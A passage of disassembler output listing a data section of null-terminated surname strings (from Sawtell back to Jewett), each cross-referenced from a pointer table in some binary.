.nsp0:00435088o align 4 aSawtell db 'Sawtell',0 ; DATA XREF: .nsp0:00435084o aSatterthwaite db 'Satterthwaite',0 ; DATA XREF: .nsp0:00435080o align 4 aSatta db 'Satta',0 ; DATA XREF: .nsp0:0043507Co align 4 aSatin db 'Satin',0 ; DATA XREF: .nsp0:00435078o align 4 aSase db 'Sase',0 ; DATA XREF: .nsp0:00435074o align 4 aSartore db 'Sartore',0 ; DATA XREF: .nsp0:00435070o aSarin db 'Sarin',0 ; DATA XREF: .nsp0:0043506Co align 4 aSapers db 'Sapers',0 ; DATA XREF: .nsp0:00435068o align 4 aSanna db 'Sanna',0 ; DATA XREF: .nsp0:00435064o align 4 aSanchezRamirez db 'Sanchez-Ramirez',0 ; DATA XREF: .nsp0:00435060o aSamson db 'Samson',0 ; DATA XREF: .nsp0:0043505Co align 4 aSali db 'Sali',0 ; DATA XREF: .nsp0:00435058o align 4 aSahu db 'Sahu',0 ; DATA XREF: .nsp0:00435054o align 4 aSafire db 'Safire',0 ; DATA XREF: .nsp0:00435050o align 4 aSadler db 'Sadler',0 ; DATA XREF: .nsp0:0043504Co align 4 aSabatello db 'Sabatello',0 ; DATA XREF: .nsp0:00435048o align 10h aRyu db 'Ryu',0 ; DATA XREF: .nsp0:00435044o aRush_0 db 'Rush',0 ; DATA XREF: .nsp0:00435040o align 4 aRuescher db 'Ruescher',0 ; DATA XREF: .nsp0:0043503Co align 4 aRuderman db 'Ruderman',0 ; DATA XREF: .nsp0:00435038o align 4 aRuan db 'Ruan',0 ; DATA XREF: .nsp0:00435034o align 4 aRu db 'Ru',0 ; DATA XREF: .nsp0:00435030o align 10h aRoyal db 'Royal',0 ; DATA XREF: .nsp0:0043502Co align 4 aRow db 'Row',0 ; DATA XREF: .nsp0:00435028o aRonen db 'Ronen',0 ; DATA XREF: .nsp0:00435024o align 4 aRogers db 'Rogers',0 ; DATA XREF: .nsp0:00435020o align 4 aRoesler db 'Roesler',0 ; DATA XREF: .nsp0:0043501Co aRocha db 'Rocha',0 ; DATA XREF: .nsp0:00435018o align 4 aRobinson db 'Robinson',0 ; DATA XREF: .nsp0:00435014o align 4 aRivera db 'Rivera',0 ; DATA XREF: .nsp0:00435010o align 10h aRish db 'Rish',0 ; DATA XREF: .nsp0:0043500Co align 4 aRineer db 'Rineer',0 ; DATA XREF: .nsp0:00435008o align 10h aRindos db 'Rindos',0 ; DATA XREF: .nsp0:00435004o align 4 aRielly db 'Rielly',0 ; DATA XREF: .nsp0:00435000o align 10h aRichmond db 'Richmond',0 ; DATA XREF: .nsp0:00434FFCo align 4 aRhea db 'Rhea',0 ; DATA XREF: .nsp0:00434FF8o align 4 aResnik db 'Resnik',0 ; DATA XREF: .nsp0:00434FF4o align 4 aRepetto db 'Repetto',0 ; DATA XREF: .nsp0:00434FF0o aRenick db 'Renick',0 ; DATA XREF: .nsp0:00434FECo align 4 aRemak db 'Remak',0 ; DATA XREF: .nsp0:00434FE8o align 4 aReinold db 'Reinold',0 ; DATA XREF: .nsp0:00434FE4o aCunningham db 'Cunningham',0 ; DATA XREF: .nsp0:00434FE0o align 4 aReedquist db 'Reedquist',0 ; DATA XREF: .nsp0:00434FDCo align 4 aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: .nsp0:00434FD8o align 4 aRayport db 'Rayport',0 ; DATA XREF: .nsp0:00434FD4o aRapple db 'Rapple',0 ; DATA XREF: .nsp0:00434FD0o align 4 aRankin db 'Rankin',0 ; DATA XREF: .nsp0:00434FCCo align 4 aRangan db 'Rangan',0 ; DATA XREF: .nsp0:00434FC8o align 4 aRaney db 'Raney',0 ; DATA XREF: .nsp0:00434FC4o align 4 aRajagopalan db 'Rajagopalan',0 ; DATA XREF: .nsp0:00434FC0o aRadeke db 'Radeke',0 ; DATA XREF: .nsp0:00434FBCo align 10h aRabkin db 'Rabkin',0 ; DATA XREF: .nsp0:00434FB8o align 4 aRabe db 'Rabe',0 ; DATA XREF: .nsp0:00434FB4o align 10h aQuetin db 'Quetin',0 ; DATA XREF: .nsp0:00434FB0o align 4 aQuaday db 'Quaday',0 ; DATA XREF: .nsp0:00434FACo align 10h aPynchon db 'Pynchon',0 ; DATA XREF: .nsp0:00434FA8o aPugh db 'Pugh',0 ; DATA XREF: .nsp0:00434FA4o align 10h aPuccia db 'Puccia',0 ; DATA XREF: .nsp0:00434FA0o align 4 aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: .nsp0:00434F9Co align 4 aProietti db 'Proietti',0 ; DATA XREF: .nsp0:00434F98o align 4 aPritz db 'Pritz',0 ; DATA XREF: .nsp0:00434F94o align 4 aPritchard db 'Pritchard',0 ; DATA XREF: .nsp0:00434F90o align 4 aPrevost db 'Prevost',0 ; DATA XREF: .nsp0:00434F8Co aPreucel db 'Preucel',0 ; DATA XREF: .nsp0:00434F88o aPresper db 'Presper',0 ; DATA XREF: .nsp0:00434F84o aPowers db 'Powers',0 ; DATA XREF: .nsp0:00434F80o align 4 aPoolman db 'Poolman',0 ; DATA XREF: .nsp0:00434F7Co aPoma db 'Poma',0 ; DATA XREF: .nsp0:00434F78o align 4 aPolitis db 'Politis',0 ; DATA XREF: .nsp0:00434F74o aPolanyi db 'Polanyi',0 ; DATA XREF: .nsp0:00434F70o aPolak db 'Polak',0 ; DATA XREF: .nsp0:00434F6Co align 10h aPoirier db 'Poirier',0 ; DATA XREF: .nsp0:00434F68o aPointer db 'Pointer',0 ; DATA XREF: .nsp0:00434F64o aPoincaire db 'Poincaire',0 ; DATA XREF: .nsp0:00434F60o align 4 aPocobene db 'Pocobene',0 ; DATA XREF: .nsp0:00434F5Co align 4 aPo db 'Po',0 ; DATA XREF: .nsp0:00434F58o align 4 aPlous db 'Plous',0 ; DATA XREF: .nsp0:00434F54o align 4 aPlasket db 'Plasket',0 ; DATA XREF: .nsp0:00434F50o aPlant db 'Plant',0 ; DATA XREF: .nsp0:00434F4Co align 4 aPlancon db 'Plancon',0 ; DATA XREF: .nsp0:00434F48o aPinot db 'Pinot',0 ; DATA XREF: .nsp0:00434F44o align 4 aPilbeam db 'Pilbeam',0 ; DATA XREF: .nsp0:00434F40o aPfister db 'Pfister',0 ; DATA XREF: .nsp0:00434F3Co aPettit db 'Pettit',0 ; DATA XREF: .nsp0:00434F38o align 4 aPettibone db 'Pettibone',0 ; DATA XREF: .nsp0:00434F34o align 4 aPetruzello db 'Petruzello',0 ; DATA XREF: .nsp0:00434F30o align 4 aPeters db 'Peters',0 ; DATA XREF: .nsp0:00434F2Co align 4 aPerrimon db 'Perrimon',0 ; DATA XREF: .nsp0:00434F28o align 4 aPerone db 'Perone',0 ; DATA XREF: .nsp0:00434F24o align 10h aPerna db 'Perna',0 ; DATA XREF: .nsp0:00434F20o align 4 aPerlman db 'Perlman',0 ; DATA XREF: .nsp0:00434F1Co aPerlak db 'Perlak',0 ; DATA XREF: .nsp0:00434F18o align 4 aPerko db 'Perko',0 ; DATA XREF: .nsp0:00434F14o align 10h aPereira db 'Pereira',0 ; DATA XREF: .nsp0:00434F10o aPenny db 'Penny',0 ; DATA XREF: .nsp0:00434F0Co align 10h aPeishel db 'Peishel',0 ; DATA XREF: .nsp0:00434F08o aPederson db 'Pederson',0 ; DATA XREF: .nsp0:00434F04o align 4 aPearlberg db 'Pearlberg',0 ; DATA XREF: .nsp0:00434F00o align 10h aPeabody db 'Peabody',0 ; DATA XREF: .nsp0:00434EFCo aPaynter db 'Paynter',0 ; DATA XREF: .nsp0:00434EF8o aPawloski db 'Pawloski',0 ; DATA XREF: .nsp0:00434EF4o align 4 aPavlon db 'Pavlon',0 ; DATA XREF: .nsp0:00434EF0o align 4 aPavetti db 'Pavetti',0 ; DATA XREF: .nsp0:00434EECo aPattullo db 'Pattullo',0 ; DATA XREF: .nsp0:00434EE8o align 4 aPatrick_0 db 'Patrick',0 ; DATA XREF: .nsp0:00434EE4o aPatefield db 'Patefield',0 ; DATA XREF: .nsp0:00434EE0o align 4 aPascucci db 'Pascucci',0 ; DATA XREF: .nsp0:00434EDCo align 4 aPartridge db 'Partridge',0 ; DATA XREF: .nsp0:00434ED8o align 4 aParris db 'Parris',0 ; DATA XREF: .nsp0:00434ED4o align 4 aParmeggiani db 'Parmeggiani',0 ; DATA XREF: .nsp0:00434ED0o aPaoletti db 'Paoletti',0 ; DATA XREF: .nsp0:00434ECCo align 4 aPantilla db 'Pantilla',0 ; DATA XREF: .nsp0:00434EC8o align 10h aPanizzon db 'Panizzon',0 ; DATA XREF: .nsp0:00434EC4o align 4 aPanadero db 'Panadero',0 ; DATA XREF: .nsp0:00434EC0o align 4 aPalmitesta db 'Palmitesta',0 ; DATA XREF: .nsp0:00434EBCo align 4 aPallara db 'Pallara',0 ; DATA XREF: .nsp0:00434EB8o aPalepu db 'Palepu',0 ; DATA XREF: .nsp0:00434EB4o align 4 aPalayoor db 'Palayoor',0 ; DATA XREF: .nsp0:00434EB0o align 10h aPaine db 'Paine',0 ; DATA XREF: .nsp0:00434EACo align 4 aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: .nsp0:00434EA8o align 4 aOvid db 'Ovid',0 ; DATA XREF: .nsp0:00434EA4o align 10h aOuchida db 'Ouchida',0 ; DATA XREF: .nsp0:00434EA0o aOtten db 'Otten',0 ; DATA XREF: .nsp0:00434E9Co align 10h aOttaviani db 'Ottaviani',0 ; DATA XREF: .nsp0:00434E98o align 4 aOstrowski db 'Ostrowski',0 ; DATA XREF: .nsp0:00434E94o align 4 aOspina db 'Ospina',0 ; DATA XREF: .nsp0:00434E90o align 10h aOrsi db 'Orsi',0 ; DATA XREF: .nsp0:00434E8Co align 4 aOrfield db 'Orfield',0 ; DATA XREF: .nsp0:00434E88o aOray db 'Oray',0 ; DATA XREF: .nsp0:00434E84o align 4 aOpel db 'Opel',0 ; DATA XREF: .nsp0:00434E80o align 10h aOMeara db 'O',27h,'meara',0 ; DATA XREF: .nsp0:00434E7Co aOman db 'Oman',0 ; DATA XREF: .nsp0:00434E78o align 10h aOMalley db 'O',27h,'malley',0 ; DATA XREF: .nsp0:00434E74o align 4 aOlszewski db 'Olszewski',0 ; DATA XREF: .nsp0:00434E70o align 4 aOlson db 'Olson',0 ; DATA XREF: .nsp0:00434E6Co align 10h aOlsen db 'Olsen',0 ; DATA XREF: .nsp0:00434E68o align 4 aOldford db 'Oldford',0 ; DATA XREF: .nsp0:00434E64o aOHagan db 'O',27h,'hagan',0 ; DATA XREF: .nsp0:00434E60o aOh db 'Oh',0 ; DATA XREF: .nsp0:00434E5Co align 4 aOgata db 'Ogata',0 ; DATA XREF: .nsp0:00434E58o align 4 aOcougne db 'Ocougne',0 ; DATA XREF: .nsp0:00434E54o aNuzum db 'Nuzum',0 ; DATA XREF: .nsp0:00434E50o align 4 aNotman db 'Notman',0 ; DATA XREF: .nsp0:00434E4Co align 4 aNitabach db 'Nitabach',0 ; DATA XREF: .nsp0:00434E48o align 4 aNisenson db 'Nisenson',0 ; DATA XREF: .nsp0:00434E44o align 4 aNickoloff db 'Nickoloff',0 ; DATA XREF: .nsp0:00434E40o align 10h aNickerson db 'Nickerson',0 ; DATA XREF: .nsp0:00434E3Co align 4 aNi_0 db 'Ni',0 ; DATA XREF: .nsp0:00434E38o align 10h aNg db 'Ng',0 ; DATA XREF: .nsp0:00434E34o align 4 aNewlin db 'Newlin',0 ; DATA XREF: .nsp0:00434E30o align 4 aNewfeld db 'Newfeld',0 ; DATA XREF: .nsp0:00434E2Co aNeuman db 'Neuman',0 ; DATA XREF: .nsp0:00434E28o align 4 aNesci db 'Nesci',0 ; DATA XREF: .nsp0:00434E24o align 4 aNenna db 'Nenna',0 ; DATA XREF: .nsp0:00434E20o align 4 aNelson db 'Nelson',0 ; DATA XREF: .nsp0:00434E1Co align 4 aNayduch db 'Nayduch',0 ; DATA XREF: .nsp0:00434E18o aNaviaux db 'Naviaux',0 ; DATA XREF: .nsp0:00434E14o aNardone db 'Nardone',0 ; DATA XREF: .nsp0:00434E10o aNardi db 'Nardi',0 ; DATA XREF: .nsp0:00434E0Co align 4 aNapolitano db 'Napolitano',0 ; DATA XREF: .nsp0:00434E08o align 10h aNaddeo db 'Naddeo',0 ; DATA XREF: .nsp0:00434E04o align 4 aMussachio db 'Mussachio',0 ; DATA XREF: .nsp0:00434E00o align 4 aMumford db 'Mumford',0 ; DATA XREF: .nsp0:00434DFCo aMulroy db 'Mulroy',0 ; DATA XREF: .nsp0:00434DF8o align 4 aMulkern db 'Mulkern',0 ; DATA XREF: .nsp0:00434DF4o aMugnai db 'Mugnai',0 ; DATA XREF: .nsp0:00434DF0o align 4 aMuello db 'Muello',0 ; DATA XREF: .nsp0:00434DECo align 4 aMudarri db 'Mudarri',0 ; DATA XREF: .nsp0:00434DE8o aMotooka db 'Motooka',0 ; DATA XREF: .nsp0:00434DE4o aMostafavi db 'Mostafavi',0 ; DATA XREF: .nsp0:00434DE0o align 4 aMosler db 'Mosler',0 ; DATA XREF: .nsp0:00434DDCo align 10h aMosher db 'Mosher',0 ; DATA XREF: .nsp0:00434DD8o align 4 aMortimer db 'Mortimer',0 ; DATA XREF: .nsp0:00434DD4o align 4 aMorrow db 'Morrow',0 ; DATA XREF: .nsp0:00434DD0o align 4 aMorrison db 'Morrison',0 ; DATA XREF: .nsp0:00434DCCo align 4 aMoreton db 'Moreton',0 ; DATA XREF: .nsp0:00434DC8o aMorani db 'Morani',0 ; DATA XREF: .nsp0:00434DC4o align 4 aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: .nsp0:00434DC0o align 4 aMontilio db 'Montilio',0 ; DATA XREF: .nsp0:00434DBCo align 10h aMonque db 'Monque',0 ; DATA XREF: .nsp0:00434DB8o align 4 aMoiamedi db 'Moiamedi',0 ; DATA XREF: .nsp0:00434DB4o align 4 aMohr db 'Mohr',0 ; DATA XREF: .nsp0:00434DB0o align 4 aMoeller db 'Moeller',0 ; DATA XREF: .nsp0:00434DACo aModestino db 'Modestino',0 ; DATA XREF: .nsp0:00434DA8o align 10h aMocroft db 'Mocroft',0 ; DATA XREF: .nsp0:00434DA4o aMittal db 'Mittal',0 ; DATA XREF: .nsp0:00434DA0o align 10h aMitropoulos db 'Mitropoulos',0 ; DATA XREF: .nsp0:00434D9Co aGonzalez db 'Gonzalez',0 ; DATA XREF: .nsp0:00434D98o align 4 aMinichiello db 'Minichiello',0 ; DATA XREF: .nsp0:00434D94o aMini db 'Mini',0 ; DATA XREF: .nsp0:00434D90o align 4 aMinh db 'Minh',0 ; DATA XREF: .nsp0:00434D8Co align 4 aMills db 'Mills',0 ; DATA XREF: .nsp0:00434D88o align 4 aMieher db 'Mieher',0 ; DATA XREF: .nsp0:00434D84o align 4 aMiddle db 'Middle',0 ; DATA XREF: .nsp0:00434D80o align 4 aMichelman db 'Michelman',0 ; DATA XREF: .nsp0:00434D7Co align 4 aMeurer db 'Meurer',0 ; DATA XREF: .nsp0:00434D78o align 10h aMetropolis db 'Metropolis',0 ; DATA XREF: .nsp0:00434D74o align 4 aMetelka db 'Metelka',0 ; DATA XREF: .nsp0:00434D70o aMerz db 'Merz',0 ; DATA XREF: .nsp0:00434D6Co align 4 aMerseth db 'Merseth',0 ; DATA XREF: .nsp0:00434D68o aMerminod db 'Merminod',0 ; DATA XREF: .nsp0:00434D64o align 10h aMerlani db 'Merlani',0 ; DATA XREF: .nsp0:00434D60o aMerikoski db 'Merikoski',0 ; DATA XREF: .nsp0:00434D5Co align 4 aMenzies db 'Menzies',0 ; DATA XREF: .nsp0:00434D58o aMemisoglu db 'Memisoglu',0 ; DATA XREF: .nsp0:00434D54o align 4 aMeccariello db 'Meccariello',0 ; DATA XREF: .nsp0:00434D50o aMcnulty db 'Mcnulty',0 ; DATA XREF: .nsp0:00434D4Co aMcnealy db 'Mcnealy',0 ; DATA XREF: .nsp0:00434D48o aMclaren db 'Mclaren',0 ; DATA XREF: .nsp0:00434D44o aMclane db 'Mclane',0 ; DATA XREF: .nsp0:00434D40o align 4 aMckenna db 'Mckenna',0 ; DATA XREF: .nsp0:00434D3Co aMcintosh db 'Mcintosh',0 ; DATA XREF: .nsp0:00434D38o align 4 aMcilroy db 'McIlroy',0 ; DATA XREF: .nsp0:00434D34o aMcgoldrick db 'Mcgoldrick',0 ; DATA XREF: .nsp0:00434D30o align 4 aMcghee db 'Mcghee',0 ; DATA XREF: .nsp0:00434D2Co align 4 aMcfadden db 'McFadden',0 ; DATA XREF: .nsp0:00434D28o align 10h aMcelroy db 'Mcelroy',0 ; DATA XREF: .nsp0:00434D24o aMcdowell db 'Mcdowell',0 ; DATA XREF: .nsp0:00434D20o align 4 aMcclearn db 'Mcclearn',0 ; DATA XREF: .nsp0:00434D1Co align 10h aMccall db 'Mccall',0 ; DATA XREF: .nsp0:00434D18o align 4 aMccaffery db 'Mccaffery',0 ; DATA XREF: .nsp0:00434D14o align 4 aMcbride db 'Mcbride',0 ; DATA XREF: .nsp0:00434D10o aMazziotta db 'Mazziotta',0 ; DATA XREF: .nsp0:00434D0Co align 4 aMazzali db 'Mazzali',0 ; DATA XREF: .nsp0:00434D08o aMay db 'May',0 ; DATA XREF: .nsp0:00434D04o aMauzy db 'Mauzy',0 ; DATA XREF: .nsp0:00434D00o align 4 aMattson db 'Mattson',0 ; DATA XREF: .nsp0:00434CFCo aMatsukata db 'Matsukata',0 ; DATA XREF: .nsp0:00434CF8o align 10h aMatarazzo db 'Matarazzo',0 ; DATA XREF: .nsp0:00434CF4o align 4 aMatalka db 'Matalka',0 ; DATA XREF: .nsp0:00434CF0o aMass db 'Mass',0 ; DATA XREF: .nsp0:00434CECo align 4 aMarubini db 'Marubini',0 ; DATA XREF: .nsp0:00434CE8o align 4 aMarton db 'Marton',0 ; DATA XREF: .nsp0:00434CE4o align 10h aMartochio db 'Martochio',0 ; DATA XREF: .nsp0:00434CE0o align 4 aMartinez db 'Martinez',0 ; DATA XREF: .nsp0:00434CDCo align 4 aMarques db 'Marques',0 ; DATA XREF: .nsp0:00434CD8o aMargetts db 'Margetts',0 ; DATA XREF: .nsp0:00434CD4o align 4 aMargalit db 'Margalit',0 ; DATA XREF: .nsp0:00434CD0o align 4 aMarcus db 'Marcus',0 ; DATA XREF: .nsp0:00434CCCo align 10h aMarchbanks db 'Marchbanks',0 ; DATA XREF: .nsp0:00434CC8o align 4 aMarch db 'March',0 ; DATA XREF: .nsp0:00434CC4o align 4 aMantovan db 'Mantovan',0 ; DATA XREF: .nsp0:00434CC0o align 10h aManganiello db 'Manganiello',0 ; DATA XREF: .nsp0:00434CBCo aMandel db 'Mandel',0 ; DATA XREF: .nsp0:00434CB8o align 4 aManalis db 'Manalis',0 ; DATA XREF: .nsp0:00434CB4o aMalova db 'Malova',0 ; DATA XREF: .nsp0:00434CB0o align 4 aMaller db 'Maller',0 ; DATA XREF: .nsp0:00434CACo align 4 aMalatesta db 'Malatesta',0 ; DATA XREF: .nsp0:00434CA8o align 4 aMaisano db 'Maisano',0 ; DATA XREF: .nsp0:00434CA4o aMaineHershey db 'Maine-Hershey',0 ; DATA XREF: .nsp0:00434CA0o align 10h aMaier db 'Maier',0 ; DATA XREF: .nsp0:00434C9Co align 4 aMahony db 'Mahony',0 ; DATA XREF: .nsp0:00434C98o align 10h aMaggio db 'Maggio',0 ; DATA XREF: .nsp0:00434C94o align 4 aMadigan db 'Madigan',0 ; DATA XREF: .nsp0:00434C90o aMacy db 'Macy',0 ; DATA XREF: .nsp0:00434C8Co align 4 aMacmillan db 'MacMillan',0 ; DATA XREF: .nsp0:00434C88o align 4 aMackenney db 'Mackenney',0 ; DATA XREF: .nsp0:00434C84o align 10h aMacintyre db 'Macintyre',0 ; DATA XREF: .nsp0:00434C80o align 4 aMaceachern db 'Maceachern',0 ; DATA XREF: .nsp0:00434C7Co align 4 aMacdonald db 'Macdonald',0 ; DATA XREF: .nsp0:00434C78o align 4 aMaccormac db 'Maccormac',0 ; DATA XREF: .nsp0:00434C74o align 10h aMa db 'Ma',0 ; DATA XREF: .nsp0:00434C70o align 4 aLuzader db 'Luzader',0 ; DATA XREF: .nsp0:00434C6Co aLutcavage db 'Lutcavage',0 ; DATA XREF: .nsp0:00434C68o align 4 aLussier db 'Lussier',0 ; DATA XREF: .nsp0:00434C64o aLuoma db 'Luoma',0 ; DATA XREF: .nsp0:00434C60o align 4 aLunetta db 'Lunetta',0 ; DATA XREF: .nsp0:00434C5Co aLuecke db 'Luecke',0 ; DATA XREF: .nsp0:00434C58o align 4 aLuczkow db 'Luczkow',0 ; DATA XREF: .nsp0:00434C54o aLuciano db 'Luciano',0 ; DATA XREF: .nsp0:00434C50o aLucas db 'Lucas',0 ; DATA XREF: .nsp0:00434C4Co align 10h aLubin db 'Lubin',0 ; DATA XREF: .nsp0:00434C48o align 4 aLoza db 'Loza',0 ; DATA XREF: .nsp0:00434C44o align 10h aLowenstein db 'Lowenstein',0 ; DATA XREF: .nsp0:00434C40o align 4 aLoveman db 'Loveman',0 ; DATA XREF: .nsp0:00434C3Co aLoss db 'Loss',0 ; DATA XREF: .nsp0:00434C38o align 4 aLongworth db 'Longworth',0 ; DATA XREF: .nsp0:00434C34o align 4 aLocatelli db 'Locatelli',0 ; DATA XREF: .nsp0:00434C30o align 4 aLizardo db 'Lizardo',0 ; DATA XREF: .nsp0:00434C2Co aLivolsi db 'Livolsi',0 ; DATA XREF: .nsp0:00434C28o aLivi db 'Livi',0 ; DATA XREF: .nsp0:00434C24o align 4 aLivernash db 'Livernash',0 ; DATA XREF: .nsp0:00434C20o align 4 aLitvak db 'Litvak',0 ; DATA XREF: .nsp0:00434C1Co align 10h aLittle db 'Little',0 ; DATA XREF: .nsp0:00434C18o align 4 aLipponen db 'Lipponen',0 ; DATA XREF: .nsp0:00434C14o align 4 aLippmann db 'Lippmann',0 ; DATA XREF: .nsp0:00434C10o align 10h aLinzee db 'Linzee',0 ; DATA XREF: .nsp0:00434C0Co align 4 aLinehan db 'Linehan',0 ; DATA XREF: .nsp0:00434C08o aLine db 'Line',0 ; DATA XREF: .nsp0:00434C04o align 4 aLinder db 'Linder',0 ; DATA XREF: .nsp0:00434C00o align 10h aLinda_0 db 'Linda',0 ; DATA XREF: .nsp0:00434BFCo align 4 aLinares db 'Linares',0 ; DATA XREF: .nsp0:00434BF8o aLim db 'Lim',0 ; DATA XREF: .nsp0:00434BF4o aLightfoot db 'Lightfoot',0 ; DATA XREF: .nsp0:00434BF0o align 10h aLight_0 db 'Light',0 ; DATA XREF: .nsp0:00434BECo align 4 aLiem db 'Liem',0 ; DATA XREF: .nsp0:00434BE8o align 10h aLidano db 'Lidano',0 ; DATA XREF: .nsp0:00434BE4o align 4 aLiakos db 'Liakos',0 ; DATA XREF: .nsp0:00434BE0o align 10h aLessi db 'Lessi',0 ; DATA XREF: .nsp0:00434BDCo align 4 aLesser db 'Lesser',0 ; DATA XREF: .nsp0:00434BD8o align 10h aLEnclos db 'l',27h,'Enclos',0 ; DATA XREF: .nsp0:00434BD4o align 4 aLenard db 'Lenard',0 ; DATA XREF: .nsp0:00434BD0o align 4 aLeite db 'Leite',0 ; DATA XREF: .nsp0:00434BCCo align 4 aLeclercq db 'Leclercq',0 ; DATA XREF: .nsp0:00434BC8o align 4 aLecce db 'Lecce',0 ; DATA XREF: .nsp0:00434BC4o align 10h aLecar db 'Lecar',0 ; DATA XREF: .nsp0:00434BC0o align 4 aLawless db 'Lawless',0 ; DATA XREF: .nsp0:00434BBCo aLashley db 'Lashley',0 ; DATA XREF: .nsp0:00434BB8o aLaserna db 'Laserna',0 ; DATA XREF: .nsp0:00434BB4o aLanzit db 'Lanzit',0 ; DATA XREF: .nsp0:00434BB0o align 4 aLantieri db 'Lantieri',0 ; DATA XREF: .nsp0:00434BACo align 4 aLankes db 'Lankes',0 ; DATA XREF: .nsp0:00434BA8o align 4 aLandes db 'Landes',0 ; DATA XREF: .nsp0:00434BA4o align 4 aLallemant db 'Lallemant',0 ; DATA XREF: .nsp0:00434BA0o align 10h aLaing db 'Laing',0 ; DATA XREF: .nsp0:00434B9Co align 4 aLafler db 'Lafler',0 ; DATA XREF: .nsp0:00434B98o align 10h aLabunka db 'Labunka',0 ; DATA XREF: .nsp0:00434B94o aLa db 'La',0 ; DATA XREF: .nsp0:00434B90o align 4 aKuwabara db 'Kuwabara',0 ; DATA XREF: .nsp0:00434B8Co align 4 aKusman db 'Kusman',0 ; DATA XREF: .nsp0:00434B88o align 10h aKumar db 'Kumar',0 ; DATA XREF: .nsp0:00434B84o align 4 aKuenzli db 'Kuenzli',0 ; DATA XREF: .nsp0:00434B80o aKrysiak db 'Krysiak',0 ; DATA XREF: .nsp0:00434B7Co aKroemer db 'Kroemer',0 ; DATA XREF: .nsp0:00434B78o aKraus db 'Kraus',0 ; DATA XREF: .nsp0:00434B74o align 4 aKrasney db 'Krasney',0 ; DATA XREF: .nsp0:00434B70o aKrailo db 'Krailo',0 ; DATA XREF: .nsp0:00434B6Co align 4 aKraemer db 'Kraemer',0 ; DATA XREF: .nsp0:00434B68o aKovaks db 'Kovaks',0 ; DATA XREF: .nsp0:00434B64o align 4 aKotter db 'Kotter',0 ; DATA XREF: .nsp0:00434B60o align 10h aKorzybski db 'Korzybski',0 ; DATA XREF: .nsp0:00434B5Co align 4 aKool db 'Kool',0 ; DATA XREF: .nsp0:00434B58o align 4 aKonrad db 'Konrad',0 ; DATA XREF: .nsp0:00434B54o align 4 aKoniaris db 'Koniaris',0 ; DATA XREF: .nsp0:00434B50o align 4 aKommer db 'Kommer',0 ; DATA XREF: .nsp0:00434B4Co align 10h aKoivumaki db 'Koivumaki',0 ; DATA XREF: .nsp0:00434B48o align 4 aKohn db 'Kohn',0 ; DATA XREF: .nsp0:00434B44o align 4 aKoch db 'Koch',0 ; DATA XREF: .nsp0:00434B40o align 4 aKobrick db 'Kobrick',0 ; DATA XREF: .nsp0:00434B3Co aKnuff db 'Knuff',0 ; DATA XREF: .nsp0:00434B38o align 4 aKlint db 'Klint',0 ; DATA XREF: .nsp0:00434B34o align 4 aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: .nsp0:00434B30o aKling db 'Kling',0 ; DATA XREF: .nsp0:00434B2Co align 4 aKlemperer db 'Klemperer',0 ; DATA XREF: .nsp0:00434B28o align 4 aKleinfelder db 'Kleinfelder',0 ; DATA XREF: .nsp0:00434B24o aKleiman db 'Kleiman',0 ; DATA XREF: .nsp0:00434B20o aKleckner db 'Kleckner',0 ; DATA XREF: .nsp0:00434B1Co align 4 aKittridge db 'Kittridge',0 ; DATA XREF: .nsp0:00434B18o align 10h aKirscht db 'Kirscht',0 ; DATA XREF: .nsp0:00434B14o aKippenberger db 'Kippenberger',0 ; DATA XREF: .nsp0:00434B10o align 4 aKinsley db 'Kinsley',0 ; DATA XREF: .nsp0:00434B0Co aKindall db 'Kindall',0 ; DATA XREF: .nsp0:00434B08o aKimura db 'Kimura',0 ; DATA XREF: .nsp0:00434B04o align 10h aKimmett db 'Kimmett',0 ; DATA XREF: .nsp0:00434B00o aKimmel db 'Kimmel',0 ; DATA XREF: .nsp0:00434AFCo align 10h aKhong db 'Khong',0 ; DATA XREF: .nsp0:00434AF8o align 4 aKeul db 'Keul',0 ; DATA XREF: .nsp0:00434AF4o align 10h aKerry_0 db 'Kerry',0 ; DATA XREF: .nsp0:00434AF0o align 4 aKendall db 'Kendall',0 ; DATA XREF: .nsp0:00434AECo aKemsley db 'Kemsley',0 ; DATA XREF: .nsp0:00434AE8o aKempton db 'Kempton',0 ; DATA XREF: .nsp0:00434AE4o aKelsey db 'Kelsey',0 ; DATA XREF: .nsp0:00434AE0o align 4 aKelker db 'Kelker',0 ; DATA XREF: .nsp0:00434ADCo align 10h aKeith db 'Keith',0 ; DATA XREF: .nsp0:00434AD8o align 4 aKeepper db 'Keepper',0 ; DATA XREF: .nsp0:00434AD4o aKeenan db 'Keenan',0 ; DATA XREF: .nsp0:00434AD0o align 4 aKee db 'Kee',0 ; DATA XREF: .nsp0:00434ACCo aKawachi db 'Kawachi',0 ; DATA XREF: .nsp0:00434AC8o aKasten db 'Kasten',0 ; DATA XREF: .nsp0:00434AC4o align 4 aKassower db 'Kassower',0 ; DATA XREF: .nsp0:00434AC0o align 4 aKarpouzes db 'Karpouzes',0 ; DATA XREF: .nsp0:00434ABCo align 4 aKangis db 'Kangis',0 ; DATA XREF: .nsp0:00434AB8o align 4 aKamel db 'Kamel',0 ; DATA XREF: .nsp0:00434AB4o align 4 aKalman db 'Kalman',0 ; DATA XREF: .nsp0:00434AB0o align 4 aKalinowski db 'Kalinowski',0 ; DATA XREF: .nsp0:00434AACo align 4 aKalil db 'Kalil',0 ; DATA XREF: .nsp0:00434AA8o align 10h aKaligian db 'Kaligian',0 ; DATA XREF: .nsp0:00434AA4o align 4 aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: .nsp0:00434AA0o aKafadar db 'Kafadar',0 ; DATA XREF: .nsp0:00434A9Co aKaboolian db 'Kaboolian',0 ; DATA XREF: .nsp0:00434A98o align 4 aKabbash db 'Kabbash',0 ; DATA XREF: .nsp0:00434A94o aJulious db 'Julious',0 ; DATA XREF: .nsp0:00434A90o aJuliano db 'Juliano',0 ; DATA XREF: .nsp0:00434A8Co aJucks db 'Jucks',0 ; DATA XREF: .nsp0:00434A88o align 4 aJorgensen db 'Jorgensen',0 ; DATA XREF: .nsp0:00434A84o align 4 aJolly db 'Jolly',0 ; DATA XREF: .nsp0:00434A80o align 10h aJohns db 'Johns',0 ; DATA XREF: .nsp0:00434A7Co align 4 aJohannsen db 'Johannsen',0 ; DATA XREF: .nsp0:00434A78o align 4 aJohannesson db 'Johannesson',0 ; DATA XREF: .nsp0:00434A74o aJewett db 'Jewett',0 ; DATA XREF: 